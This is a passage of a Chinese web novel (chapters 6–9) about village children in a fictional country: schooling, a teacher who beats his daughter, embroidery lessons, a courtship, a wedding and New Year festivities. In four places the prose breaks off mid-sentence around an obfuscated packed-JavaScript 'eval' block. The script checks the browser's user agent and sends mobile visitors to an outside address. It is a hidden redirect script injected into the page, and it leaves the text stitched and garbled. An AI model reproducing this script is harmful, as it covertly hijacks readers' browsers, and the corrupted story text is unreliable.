妙妙家到学堂，大人走，也不过十几分的路程，妙妙跟在四叔后面，丝毫不敢懈怠，也就过了十几分，就到了金山学堂。金山学堂经过冯玄真重修以后，崭新的显得宏伟气魄。一个大的牌坊门立在中间，上面写着金山学堂四个大字。听说是冯玄真亲自提笔，字体显的苍劲有力。左右两边用油漆画着两个人的画像，妙妙以前虽然经常来这里，也没驻足留意过他们。这会倒是来了兴趣，驻足观看了起来，忽然听到四叔说：“这你不认识吧，他们就是太上道君和南华真君，是长生不老的神仙，快进来”。妙妙也不敢多看，赶紧跟着四叔让身过了堂门，心里想，四叔这么坏的人，最多也就认识这两个画像罢了。 过了堂门，两旁栽着茂密的松树和柏树，树下是一行花圃，上面有来来去去的蜜粉和蝴蝶，空气清新的感觉与门外是两个世界。穿过树廊，就来到一个大殿，大殿中央，挨着墙放着一个偌大的贡桌，上面除了果子点心等食物外，还有不知道名字的香，外面从来不曾闻到，沁人气爽。墙上也是一副很大的画像，妙妙这会知道了，应该是太上道君。 然后听到四叔说：“你进去绕过套间两个偏门，就是教室了，我不便进去，你自己去吧”，妙妙心想，四叔不是助教吗？为什么不方便进去呢？他也不敢多想，赶紧绕过两个套间偏门，来到一个非常宽敞的教室，里面有三十多张桌凳吧，也有几个孩子，看起来和自己一般大，或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156627|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者小一点点。妙妙随便找了个地方坐了下来。这几个孩子，有些妙妙平时是见过的，也有欺负过妙妙的，所以和他们从来不怎么玩。想到这里，妙妙还是有点胆怯了。妙妙怀着这样忐忑的心，学生渐渐多了起来。 过了不多久，进来一个长胡须的老人，看起来很有学问的样子，他不慌不忙的坐在前面的椅子上，抬头望了周围一圈，盯着妙妙问到：“你叫什么名字？”。妙妙不敢怠慢，急忙回答道：“妙妙”。老先生继续问道：“学名叫什么？”。妙妙答到：“一直就叫妙妙”。话音刚落，教室里一阵大笑。老先生吭了一声，教室顿时安静了下来，先生继续说到：“以后你就叫金有妙吧”。妙妙急忙答了一声“嗯”。老先生可能是因为知道妙妙的堂哥们都叫金有什么，才起的这个名字吧。 然后，先生给妙妙发了一个小册子，上面都是对仗工整的词句或者诗句，说：“这是用来识字的，也是培养大家的语言能力，以便提高归纳世界现象的能力，下面打开到第一页，跟我读下面一段” “云对雨，雪对风，晚照对晴空。来鸿对去燕，宿鸟对鸣虫。 三尺剑，六钧弓，岭北对江东。人间清暑殿，天上广寒宫。 两岸晓烟杨柳绿，一园春雨杏花红。 两鬓风霜，途次早行之客；一蓑烟雨，溪边晚钓之翁。 沿对革，异对同，白叟对黄童。江风对海雾，牧子对渔翁。” ………… 这样读了几遍，他就让学生们去读了。又给金有妙发了笔和临抄本，让他一边读一边抄写。 话说杨氏虽然能拄着拐杖可以行动了，也没怎么下过田，自从他生病以来，家里也没种多少东西，全凭金春海从县城带回来黑面谷物，或者豌豆粉，勉强节俭度日，金春海半月一月的来一次，放下物资也就走了，家里从来呆不过三天。再说了，莺儿姊妹三个最怕父亲在家，也是盼望着他早点转去县城。家里种的一点油籽和土豆，金春海种好了也就不怎么管了，全凭莺儿平时除除草等，照看着。 这天金有妙上学以后，可能是出于开心的原因吧，杨氏和莺儿一起下田除了草，莺儿也特别开心，这是莺儿几年以来少有的笑容。朵儿照样去他二妈家里，找灵儿玩去了。 6. 梅花学堂被父打，莺儿拜师学女针 妙赞国，是以农立国，以道治国，所以对于妙赞国的人们来说，并没有什么评价人的标准，也不设什么追求和目标。 男人主要学农耕种，负责家庭生活就可以了，不需要用道德来判断他的贤良。这就是为什么金春海不能离婚，也不能把杨氏送回娘家的原因。在妙赞国离婚是一件很麻烦的事，需要学堂出一份家庭难以为继的报告书，由县太爷批准就可以离婚，男人就可以不再负责这个家了，五年内也不准再取妻。村民知道学堂一般不出这样的书，已经成了俗成的默契。所以，村民也就打消了这种念头。 女人主要掌握些养兔的技术，也不需要用针织技术判断女人的贤惠。成家也是相对自由的，可以自由恋爱，恋爱感觉性格不合的话，就可以自由分手，主打一个顺其自然，不能强取强嫁。有些人家有祖传的针织手艺，也会强制女儿学。老五金如海的妻王氏，就是这么一个女人，她有一儿一女，女儿叫宝琴。她农闲了就会教女儿针织女工，主要做一些鞋，鞋垫，衣服，绣枕，被子等。梅花经常和宝琴一起玩，是比较喜欢女工的。金志海经常带她去学堂识字，她倒厌恶的很，只是怕父亲，也不敢不去。 话说金有妙自上学以后，老先生是知道其中的原因的，就不敢收钱了，就让灵儿和朵儿一起来学堂识字，秋天农品下来了，金有田总会挑一些好的送给先生。 一天下午，灵儿和朵儿喂完兔子，就来到了学堂。进入匾门直走，通过松柏路径，是通往正殿教室的。金志海告诉过她们不能去的，她们也不去。在右侧花圃中间，有一条小路，穿过小路，就会看到一排房子，房子前面有几棵很大的树，树下有乘凉的桌凳。她俩老远就看见金志海在树下面，教几个女孩子识字，其中一个正是梅花。灵儿其实也是有点怕这个四爷的，就和朵儿赶紧迎了上去，坐了下来。 朵儿自从可以进入学堂以来，也没来过几次，就是怕这个四爸的原因，灵儿上午会来，也是一直即定的习惯，下午都是和朵儿一起喂兔子，各种疯玩。金有田知道这其中的缘由，也是希望朵儿不要错过识字的机会，这天下午就让灵儿送茶叶给金志海，带朵儿一起去。 金志海看见她俩，问道：“今天下午很热，为什么早上不来？”，朵儿自然是不敢说话的，灵儿赶紧说：“我父亲让我给四爷带点茶叶，所以就过来了”，说话间，就把茶叶放在了桌子上。 金志海把茶叶收了起来，脸上没什么表情，心里那自然是乐开了花，接着说：“我现在写几个词语，你们几个认识熟悉了，会写就可以了”。于是，他在绑于树干上的黑板上写了，麻雀，燕子，百灵，……等等，几种常见的鸟的名字。 女孩子是没有临摹手贴的，也没有笔，都是在黑板上看着写，直到写熟练，因为黑板不大，一次只能两个人上去写。所以，首先上去的是灵儿和梅花，灵儿识字三年多了，这几个字早就会写的，也是装装样子抄几遍而已。梅花虽然和灵儿差不多也学了三年多了，还是没学会几个字，这几个字对她来说，还是蛮吃力的。几遍下来，金志海遮住了字，让她俩默写，梅花总是等着灵儿写完再抄写。 金志海顿时火冒三丈，一脚把梅花踢入大树下的花圃中，顺手拿起一个板凳，就往梅花身上砸去。梅花顿时“哇”的一声哭了出来，大家都怕的要死，也不敢去阻拦。朵儿一看这阵仗，心里想：“这四爸连自己女儿也这么狠手打，原来是无差别攻击，也不是针对她们姊妹三个的，可能她父亲兄弟都是这个样的人吧”。 这样想来，也就宽心多了，从此也不再恨这个四爸了。对父亲，也开始有了理性的看待，母亲灌输的憎恨慢慢也在释怀。但是，她对父亲的恐惧，是刻在骨子里的，非一日能解。 金志海左右开工，打的累了，也就停手了。就在此时，朵儿觉得梅花和她一样可怜，他们小孩子又能改变什么呢，只能默默承受吧。灵儿的爷爷金山海虽然也是一个脾气暴躁的人，但不会打孙子灵儿。她父亲从小也是被父暴力对待，他知道这其中的可怜，也是吓唬灵儿的次数多，也不会真打。所以，灵儿遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156628|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到事情能够冷静思考，敢于出手，她这个时候，赶紧过去把梅花扶了起来，坐在了她的旁边。金志海也就不再管了，接着让朵儿和其他几个女孩子练习完字，大家就散去了。 话说杨氏慢慢的能够下田了，不出力的活，她还是可以干一些的。比如做饭，打扫院子等。去泉里打水的活，一般都是妙妙和朵儿用一个罐罐去抬，家里有一个水缸，打满能吃三天。莺儿每天早上帮冯家割草，喂牲口，以便换取他们的牲口在春种的时候借来使唤。这样，莺儿下午也就有了空闲的时间。 话说老五金如海另家时，就在老院子的上坡隔壁处。莺儿闲了也不敢去远处玩，只怕母亲有事唤她不急，又不敢去四爸他家串门。所以，她就到五爸家随便玩玩。五爸家的宝琴，比她大五岁，如今十七岁的年龄，做的一手好针线活。厨房灶台的活，也是做的清爽干净。她也会教莺儿一些纳鞋垫的简单手艺。 宝琴给莺儿一双白底的鞋垫，又给了她一些麻线，和少量的各种丝线。丝线在妙赞国是比较稀缺的东西，要从外国交换，来自妙理城的商人走街串巷，大概一两月来一次进行交换，农人家庭会用农产品换一些。也有一些脑子比较灵活的农人，会去县城进一些这样的丝线，走街串巷，来的就勤快些，大概一两周来一次吧。莺儿的爷爷金满仓，以前就是干这样的活。他的子孙中也有这样灵活脑子的人，这是后话，暂不表述。 宝琴先教莺儿用碳笔在白色底垫上画一些小小的方格。碳笔由木材烧的屑制成，农人家都会，不是稀缺物。毛笔很贵，只有学堂在用。然后用麻线纳出各种花鸟图案，再用有色的丝线对图案上色点缀。丝线要下在恰到好处，不能太炫而浪费丝线。莺儿就这样慢慢的去学了，这也成了她闲下来时唯一的乐趣和精神的寄托。 莺儿会给自己偷偷的攒一些杏核，等着换点丝线。杏核可以入药，也可以当干果吃，也是比较贵的，农人院前屋后都会有几颗杏树，妙妙家住的是老院子，杏树栽的时间比较久，场边有两棵很大的杏树。 7. 吴家公子识妙友，携妙后山撞幽情 话说金有妙上学以来，还算顺利，字识的也很快，也能简单的对句了。自己观察周围的东西，也能对排的胡诌几句，也认识了一些能和他玩的来的朋友，这其中就有冯炳章和吴宽余最是要好。 冯炳章是冯玄真的老四，上面有两个哥哥，一个姐姐，下面有个妹妹。他为人谦虚低调，文采出众，相貌虽然不及父亲那般清新脱俗，也是仪表堂堂，最看不得富家子弟欺负老实的人。 吴宽余，为人精明，点子多，说念书吧，文采不足，心思总不在这上面，家里人也是让他识几个字罢了。他是吴家老大的次子，上面有个哥哥，比他大刚好十岁，已经到了取亲的年纪，家里也是比较着急，到处托人说亲。 就说这吴家吧，是下葫芦寨六姓中比较富裕的家族，他家除了种地，世代又以编筐为业。黄土高坡，没有竹子，他们主要以新柳的柔枝为材料。虽然柳编不是妙赞国主要的出口商品，但是背篓箩筐的大家都得用，生意还是比较兴隆的。 吴家弟兄三个，老太爷已经过世，有老母，尚在人世，住在老大家中。老大名叫吴远志，继承父亲手艺，编制最为精湛，膝下有两个男孩子，老大唤做吴宽良，跟随父亲编筐，老二就是吴宽余。 吴家老二叫吴远宏，在冯堂的羊场干活，羊场也是由他主要负责，平时住在羊场。所以，和金志海一样，也是傍着冯堂耀武扬威，下葫芦寨的人们，没有敢得罪他的。 父亲的手艺，吴远宏也能摆弄摆弄，羊场的建设编圈，就是他摆弄的。生有两女一男，女的倒好，男孩子没人管教，做事飞扬跋扈，叫吴彪，偶尔会来上葫芦寨晃悠，妙妙最是怕他，幸亏在下葫芦寨不是常来。 吴家老三叫做吴远航，学堂读过书，认识字，和金春海是同一期学员，也算金春海的同窗了吧，除了冯玄真，听说他是金山学堂，最得意的学生，在县城负责官盐的发放，这是妙赞国最肥的差事。 妙赞国的官员，大部分由道学督办推荐，他就是学长冯玄真推荐的比较满意的人物了，吴远航办事，刚正不阿，多少人想拿私盐走街串巷，都被他挡了回去，他也不拿别人的好处。一家都在鹿泉县城居住，县城有鹿泉学堂，生有两男一女，都在鹿泉学堂上学。 话说学堂下午四点到五点半，是要打扫卫生的，有些学生会到学堂后山去玩。金有妙是惧怕和别人玩闹的，所以吴宽余会拽着他去后山玩。 后山坡阴，这里草长的肥美，梅花二姐学名金凤，经常来这里放羊，他比梅花大十岁，这年她十八岁，梅花学名叫金梅。在后山，刚好被吴宽余他俩远远的撞了个正着。 让妙妙惊讶的不是这个姐姐，因为一墙之隔的，他对这个姐姐再熟悉不过了，这个姐姐还堵在门口打过他。而是姐姐对面站一个男的，让他很是吃惊。吴宽余看了妙妙的表情，很不屑的说：“这有什么好惊讶的，他是我哥，我哥说他要娶你姐”。说完，给金有妙使了一个鬼脸，又说：“以后我们就是亲戚了”。金有妙顶了他一句：“她不是我姐姐”。 吴宽良在金山村上下寨子到处寻新柳（新柳就是柳树上刚发的枝条），所以好多人都认识他。妙妙以前也见过这么个人，只是不知道名字而已。学校后山坡面阴，这里的柳树最适合编筐，他经常来这里采枝。就有这么一天，遇见了金凤。金凤自然也知道这么个人，是吴家柳编，就是不知道她具体叫啥名字？就这样，看似神奇的缘分在命运的设定中相遇了。 金凤的生活是比较枯燥且单调的，她和金有妙姊妹一样，在父亲的拳脚下长大，她的内心是渴望被人温柔以待的。欺负莺儿姊妹，或许不是因为她本性很坏，而是被人忽视的太久。可能这也是她坚持放羊的原因吧，实际上金梅的三姐都可以放，并不是非要她放，甚至金梅已经八岁也可以放的。或许，让她最开心的事，就是这山坡上的等待。 这天，她又见到了这个折柳的人，出于女孩子的矜持，她没有开口说话。但是吴宽良看见了她，在不经意间打量了这个女孩，身材不是很低，大概能过自己鼻子，腰很细，穿一件很土的灰色秋裤，上衣把自己包的很严实，脸蛋很圆，很好看。其实金凤和金梅是金家“有”字辈中，脸蛋相当好看的女孩子，也算得上是美女了。 吴宽良来到金凤身边，微笑着看了金凤一眼，说：“这个给你”。金凤接过来一看，是一个装蛐蛐的编筐，拳头大小。不屑的回了一句：“我要这个干嘛？”。吴宽良说道：“我知道你是金四叔家的二妮，拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156629|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去给你妹妹玩吧，我只有这个，平时折柳遇到好蛐蛐我就顺便装起来，所以才带在身上”。金凤没好气的说道：“我妹已经大了，不玩这个。再说了，你也不是非要送我东西，我又不认识你。你第一次见女孩子难道都送他们东西的吗？”。吴宽良傻笑道：“那倒没有，我天天爬山钻沟的，除了遇到你，也遇不到别人”。金凤把蛐蛐编筐扔到他身上，说：“原来你是欺负我是个放羊的”，再也没有理他。吴宽良以为自己说错了话，也不好再说了，没趣的去折柳了。 金有妙和吴宽余看了她俩一会，金有妙玩的兴致更是没有了，就准备回去了。吴宽余扯着有妙的胳膊，笑着说：“我知道她是你四叔家二姐，你别不承认”。金有妙反驳道：“谁想认谁认，我不认，如果你想认，给你去做姐吧”。然后一溜烟的跑开了，回到了教室。 回到教室，冯炳章问他俩去哪里了？没等金有妙说话，吴宽余说道：“去抓蛐蛐了”。冯炳章调侃着回道：“你就知道玩蛐蛐，小心先生今晚课习测书，扒了你的皮”。 过了不一会，课习的铃声响了，金有妙不用猜都知道，这是他四爸摇的，因为铃声感觉起来很用力。还没等他多思考啥，先生拿着教鞭走进了教室，说：“今晚课习，检查下大家语言归纳的能力，题目就是池塘，蝌蚪，蜻蜓，你们开始写吧，给十分钟，写好了一个个来念”。 过了一会，坐在第一排的冯炳乾（他爸是冯虎，乾比妙妙大八岁，比冯炳章大九岁）站起来读道：“池塘水里有蝌蚪，蜻蜓知道有蚊子”。就这样一个个的读了下来，…… 轮到冯炳章，他起立读道：“塘宽蝌蚪乐，摆尾惊飞虫。非是蝌母荷上在，不见飞虫又落行”。 轮到金有妙，他起立读道：“碧塘对蓝天，蚪行对虫乐。青柳拂水，惊起云皱面。蜻蜓逐蚊，放归虫栖垣。 轮到吴宽余，他起立读道：“池塘水清清，蝌蚪胖嘟嘟。蜻蜓飞过来，不见胖嘟嘟。 大家听完，笑了起来。吴宽余小声嘟囔道：“这胖嘟嘟有啥可笑的，蝌蚪难道不是胖嘟嘟吗？” 先生听完大家的阅读，说到：“大家不要笑，吴宽余同学观察的很到位，大家互相对照学习”。说完就让大家散去了。 8. 佳慧出嫁辞旧岁，金家过年大团圆 黄土高坡的冬天很冷，气候干燥，雪厚的地方能够没过膝盖。之所以说厚的地方，是因为高坡风很大，雪常常落的不均匀。过了这个冬天，妙妙和灵儿就九岁了，朵儿十岁了。关键的是，对于穷人家的孩子来说，是比较难熬的。妙妙和朵儿常年穿着一双能看见大脚趾的，四处漏风的麻鞋，以至于以后的岁月里，不管冬天怎么冷，妙妙的脚都不会冻。在黄土高坡，孩子的手和脚冻伤那是常有的事。 杨氏病情好转以后，她不再关注丈夫金春海，把注意力多放在了孩子们身上了。她把孩子们小时候穿过的衣服剪碎，叠加浆干，做成了鞋底。然后在五嫂哪里借了针线，做了麻布鞋，三个孩子一人一双。当然，这其中莺儿也帮了她很多忙。 孩子们的衣服，都是老大穿了，老二穿，老二穿了，老三穿。这几年，二妈把孩子换下来的衣服，给了妙妙姊妹他们，冬天也能勉强着度过。今年的冬天，金春海从县城带回来些棉花，杨氏也做了棉袄。金春海在杨氏病好以后，回家的次数也多了，多年嘴巴嘟囔的毛病再也没看到。他对孩子们骂是常态，但再也没有动过手，除非孩子犯很大的错。莺儿也轻松了许多。 还有一件值得庆贺的事，就是金春海用多年赞下来的钱买了一头驴，驴子是农人耕地的主要劳动力。有了驴子，莺儿就不用给地主干活了，生活渐渐有了起色。妙妙一家，虽然和金志海一家不来往，但金志海一家再也没打过他们。从此以后，莺儿主要的活，就是给驴割草填料，无微不至。 冯堂一直以来，本来就对金春海点头哈腰的给足了面子。知道莺儿不来干活也没说什么，还拿了礼物来道贺。所以，金春海在葫芦村，也是有一点影响力的，农人到县衙要办点什么事，都会找他。金春海知道冯家免学费的事，后来驴下了一个驴娃，他送给了冯玄真的小舅子，尽管生活艰难，他只是不想占人便宜，他始终带着军人的傲骨。这是后话，暂且不表。 就是这年的冬天，有一件事，是金家的大事件，就是老二金山海的女儿金佳慧要出嫁，日子选在腊月初十。 虽然离这个日子还差十几天，但是灵儿就已经很开心了，就像期待过年一样，掰着指头，数着天数，天天在她的兔棚里，倒腾着兔子，学堂也休冬假了，也不用去识字。妙妙和朵儿，父亲不在家的时候，就会过来一起倒腾兔子。金春海现在时不时的就回家，他们俩也不敢出来的勤了。 小的时候，都是佳慧姑姑带着灵儿割草，种菜，喂养兔子。农忙的时候，她会把灵儿放在架子车里，载着灵儿去田地。架子车是农人拉谷米等农作物的手推车，太重了就套驴来拉，灵儿最喜欢坐这个车了，朵儿和妙妙遇上这样的机会，也是喜欢的不得了。 和往常一样，灵儿和佳慧姑姑在园里扒白菜外叶，给兔子准备食物，灵儿好奇的问道：“姑姑，你见过我姑父没有呀？他张啥样啊？”。佳慧姑姑说：“见过一面，个头不高，人很好”。灵儿说：“人很好为什么不经常来看你呢？”。佳慧姑姑说道：“他是经常来的，只是呆的时间短，刚好你出去玩了，没有见到”。灵儿疑惑又不失调皮的说：“他是怕我要糖吗？为什么偏偏刚好能躲开我呢？”。佳慧姑姑噗嗤一声笑出了声，说道：“你这小妮子，就你精明”。 过了一会，灵儿又问姑姑：“你嫁人了能经常来看我吗？以后没人拉车载我了”。佳慧姑姑笑着说：“我会来看你的，让你爸爸载你”。灵儿一听，机灵一下，说到：“那还不如不载呢”。佳慧姑姑问道：“为什么呢”。灵儿说：“玩不自在呗，上回我和朵儿姑姑和妙妙小叔在园子里玩，把爸爸刚种的小杏树苗给踩折了，把我吓坏了”。佳慧姑姑说道：“那你以后不能太淘气呀，要会照顾香儿和君宝”。话说香儿是灵儿的妹妹，比灵儿小三岁，君宝是灵儿的弟弟，比灵儿小六岁。 话说佳慧的夫君，是外村一户姓张的人家，张家有一儿一女，男的名叫张贤，就是佳慧的夫君。女的叫张韵。张家和金家是换亲，金佳慧的二哥叫金有辉，说了张家的张韵。在妙赞国，这种换亲的方式，是好多穷人家给孩子取媳妇的方式。 张贤家，也是地地道道的农人，父母辛劳，对这么一个儿子百般呵护。所以儿子也不是很上进，凡事少有主见。若父母不在，日子或有艰难。这是后话，暂不表述。 转眼就到了腊月初九，就要开始布置家里。门窗和外墙都会贴上喜字，院子里要搭上敞篷。金家的女眷们都要过来，在厨房出工做饭。男眷们要招呼来上亲的客人，来上亲的大部分人，都是金葫芦上下两寨的人。孩子们都会过来凑热闹，只盼着糖果，其他也不在乎。再就是安排一些事情，结婚那天具体怎么分工。金有妙被安排了一个禄马的活。这活必须要小孩。 话说这禄马是怎么回事呢？农人家接亲是没有轿子的，是用驴子来接亲，驴头绑上红色的彩头。接上新娘以后，禄马的小孩也要跟着接亲队伍在前面走，送亲队伍在后面走。快到夫家的时候，禄马的小孩子就会被抱上驴子，骑在新娘的后面。到夫家以后，夫家给孩子红包，孩子先下驴，然后新娘才能下驴。一般情况下，孩子也不会看红包里面，只要给了红包，就下驴了。 腊月初九中午的时候，一切基本布置完毕，厨房饭菜也准备好了，寨里人陆续的开始上亲了，金志海识字，安排了一个写亲谱的活，就是在门口收份子钱。金春海负责收金家本家以及亲戚们的份子钱。灵儿朵儿妙妙金梅四个年纪相仿，寨子里有随大人过来的小孩，他们会拉着一起去玩。 到了下午，院子里已经人很多了，划拳喝酒的声音，交织着唢呐的音乐，此起彼伏，好不热闹。其中有一个人，没有心思喝酒，却东张西望，他就是吴宽良。自从上次见到金凤，他总是念念不忘。金凤作为女眷，要在厨房帮忙，不用招待客人的。所以，他这样找也是找不到的。他让吴宽余去找金有妙，想打听下金凤在哪里？ 吴宽余找到金有妙，说他哥想见他，妙妙一听，就知道是啥事了，顺口说了一句：“我不去”。吴宽余说：“有糖呢”。妙妙一听，说到：“要十个”。吴宽余毫不犹豫的就答应了。 通过妙妙，吴宽良才知道金凤在厨房帮忙。他就说要喝酸汤，自己想去厨房调，因为别人不知道他的口味轻重。招待他那桌的是金有军，金如海的儿子，也就没管他，就任他去了。俗成大家都知道的，除了本家人，上亲的人是不让进厨房的，吴宽良不是不知道，只是他太想见金凤了。 吴宽良来到厨房，众人还是比较惊讶的。金志海的大儿媳叫李晴，小的时候学堂识过字，最是一个能说会道的。她见吴宽良进来，调侃着说了一句：“外面的他爸们，把你没伺候好吗？你怎么跑到这里来了呢？”。吴宽良有点尴尬，支支吾吾的说：“我弄点浆水，胃不舒服，只有我自己能调”。金凤一听嫂子这么一问，把自己也整尴尬了，尽管她和吴宽良并没有什么来往。他急忙说道：“你叫什么名字？等会我自己给你端出来，你先出去”。吴宽良一听这话，心里别提多高兴了，赶紧说道：“我叫吴宽良，那就麻烦你了”。说完，他赶紧退了出来。 金凤一直是想打听吴宽良的名字的，今天这个机会，她心里别提有多高兴了，赶忙弄一碗浆水酸汤，端了出去。她来到吴宽良这桌，放下酸汤，回头给金有军说：“你怎么不把人家招待好，让人家自己端汤？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156630|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。金有军本就和金凤年纪差不了多少，大孩子气的说：“进去端一碗浆汤能咱吗？谁端不是端？”。吴宽良一看他们兄妹吵起来了，赶紧解释道：“是我要去的，军哥也是尊重我才随了我性，他招待的很好”。金凤看向吴宽良，淡淡的说了一句：“你小心喝，不要烫着”，然后再没说什么，只是深情的打量了吴宽良一下，就回去了。这个场合，他们也不能多说什么。吴宽良能感受的到，确实也不便说啥，也就目送她回去了。 渐渐的，太阳西沉，不觉已到了晚上。上亲的人，也慢慢的散尽了。朵儿和妙妙也回家了，灵儿这晚和姑姑睡在一起，因为白天太多事很忙，所以很快的就睡熟了……。 到了第二天，腊月初十，天蒙蒙刚亮，莺儿姊妹三个就来到了二妈家。几个妯娌嫂子给佳慧梳头，然后盘新娘头。灵儿在旁边比划着各种指导，把众人也惹的笑了起来。灵儿忽然想起姑姑出嫁了就没人给自己梳头了，不觉惆怅了起来，也不再比划了。众人问她咋了，她疑问的说：“以后谁给我梳头呢”。金佳慧说：“以后你自己要学着梳头，你已经长大了”。众人怕勾起佳慧很多不舍，就让灵儿出去和朵儿玩了。姑娘出嫁，哭也是这里的常态，只希望佳慧不要太难过。 盘完头，整理好嫁妆，就等着夫家来人接亲了。唢呐的声音响起，就知道夫家人来了，先是把接嫁妆的人迎进门，然后用架子车把嫁妆装好，就直接出发了。再把接新娘的人迎进来，夫君把新娘接出来抱上驴，送亲的跟在后面，队伍浩浩荡荡的就出发了。当然，各个些许环节，包个红包意思意思也是要的。 快到夫家的时候，妙妙禄马，夫家包了一个红包。妙妙过后打开一看，一量。量是妙赞国纸币的单位，一量相当于20个糖的价值，妙妙高兴坏了，这是妙妙第一次见钱。其他送亲队伍到了以后，也就是吃饭喝酒，暂不详表。到了下午，送亲队伍要回去的时候，佳慧又哭的不能自持。灵儿也是一步三回头的渐渐模糊在远处的山头之中……。 转眼就到了过年的时候了，有实力的家庭杀个羊，或者猪，都准备着。没有实力的家庭也会杀个鸡兔之类的也会准备一些。刘嫂子给妙妙母亲送了5只兔子，杨氏再一次感受到了这个嫂子的善良，第一次是生妙妙的时候，全凭她，妙妙才得以顺利生产。 这年过年，金春海也是第一次隆重的准备了的一年，家里也烙了白面馒头。也杀了两只兔子，其他养了起来。 腊月三十的这一天，金家人会齐聚在老五金如海家里，早上请香，供奉祖先，并且会油炸一些点心，供于桌子。这种活，以前是在金春海家老院子里进行的，自从妙母杨氏生病以后，就搬到老五金如海家了。 请完香，供品摆好以后，大家都会在老五家坐纸。坐纸的意思就是一起打牌，下棋，孩子们在外面放炮玩耍，等到天黑了，就烧纸送先人祖先回去。送完纸之后就是坐夜。坐夜的意思就是在老五家继续玩，等待大年初一来临。 今年坐纸的人比往年多了很多，金家大大小小几乎都到场了。送完纸以后，贡品要撤下来。这个时候，是孩子们的最爱，谁先抢到就是谁的了。香儿抢了一个鱼形的油炸，有妙趁香儿不注意的时候，夺了过来，掰成了两半。香儿大哭了起来，有妙赶紧又塞给了香儿，香儿赌气不要。有妙把一半塞进了嘴里。香儿见状，一把夺过来另一半，又满足的笑了。还有各种有趣的事情，不可尽述。 风俗的传承，全凭童氏的教导，听说她是大户人家的闺秀，以前是风光过的，到金家六兄弟这里，或许是金满仓的不作为，家道败落了而已。或许这就是命数吧，也不全凭人力，金家再次兴旺，也未可知。 9. 初三金山结社火，十五学堂真聚餐 妙赞国的村子，大部分都是山梁和山梁之间围成的深窝，就是一个村子了。每到正月初三，每个村子都会起社火。先到学堂老君像前起香，各自社火的头家把香带回去，于各自社台续燃，直到正月十五烧表再送回来。通常情况下，都是四五个村子聚集到了一起，寻得一个比较平的地方，耍社火唱大戏。 聚集社火的过程叫做接社火，一个村一个村的接。等到晚上八点，太阳完全下山了，很黑的时候，各个村的社火出动，独立的社灯点缀成很长的队伍，绵延在各个山梁沟壑之间，随机碰头就是接上了。 每家的男孩子，甚至没有分到其他任务的大人，都要自己扎一个社灯。社灯一般都是正六边形骨架，外面用白纸包裹糊住，里面放一个灯，敞开顶口用来点灯。接社火的时候要高高举起。举龙舞狮的，提灯领头的人，就不用自己扎社灯，一起制作龙狮，龙狮里面也要放灯火。 女孩子要端盆灯。盆灯是双手端的，没有举把。制作盆灯一般是八边形骨架，外面用白纸包裹糊住，里面放一个灯，女孩子演秧歌，载歌载舞的时候会端着盆灯，摇动起舞。 金山村因为上下葫芦寨不好协调，上葫芦寨有自己的社火队。下葫芦寨也有自己的社火队。互相独立，也就是说，金山村有两个社火对。 莺儿，朵儿，灵儿，金凤，宝琴，金梅等都糊了自己的盆灯。妙妙也糊了自己的社灯。比较大一点的孩子，比如金有辉，金有军等，被分到了举龙的队伍。妙妙晚上跟着诸哥哥们就出发了。这应该是他们最团结的时候吧。 上葫芦寨的舞狮人，是古姓人家，他们家族还是有点武术的，红白之事，给人舞狮为业。尤其是白事，很多有实力的家庭都会请他们。传到这一代，古姓只有两户人家，老大古文宽，五十多岁，没有妻室。老二古文武，生有一子，今年二十五，名古鹤，武的一把好狮头，狮尾出活都雇人，也是经常配合的那几个，也不生手。 接社火的队伍，沿着山梁沟壑游动，接到那家，一切都是随缘。上葫芦寨能接到下葫芦寨，那概率是百分之百。接头的时候，舞师人先碰头，两个狮子先照面。然后狮子跟个两个头家前行。后面队伍，两处自动就会汇到一处。又是山梁沟壑的游走。队伍越来越大，远远望去，无数灯火，散满天际，甚为壮观。这样接完社火，也就夜晚十点了，也就是秧歌正式开始的时候。 